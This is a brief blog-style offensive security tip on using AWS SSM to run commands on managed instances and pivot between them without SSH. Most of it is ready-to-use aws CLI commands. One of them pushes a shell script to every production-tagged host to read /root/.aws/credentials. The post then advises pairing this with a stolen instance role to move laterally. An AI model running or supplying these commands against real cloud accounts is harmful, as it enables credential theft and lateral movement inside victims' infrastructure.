Pivot with AWS SSM instead of SSH

Aug 6, 2026 · 1 min read

If your credentials hold SSM permissions, you can run commands or open interactive sessions on managed instances directly through the API.

bash

aws ssm describe-instance-information --query 'InstanceInformationList[].InstanceId'
aws ssm start-session --target i-0123456789abcdef0

For non-interactive command execution across many hosts:

bash

aws ssm send-command --document-name AWS-RunShellScript 
  --targets Key=tag:env,Values=prod --parameters 'commands=["id","cat /root/.aws/credentials"]'

Pro note: SSM activity is logged in CloudTrail and Session Manager logs, so it is not stealthy, but it needs no inbound access and works across VPCs. Combine with a stolen instance role that has ssm:SendCommand to move laterally without ever opening a socket.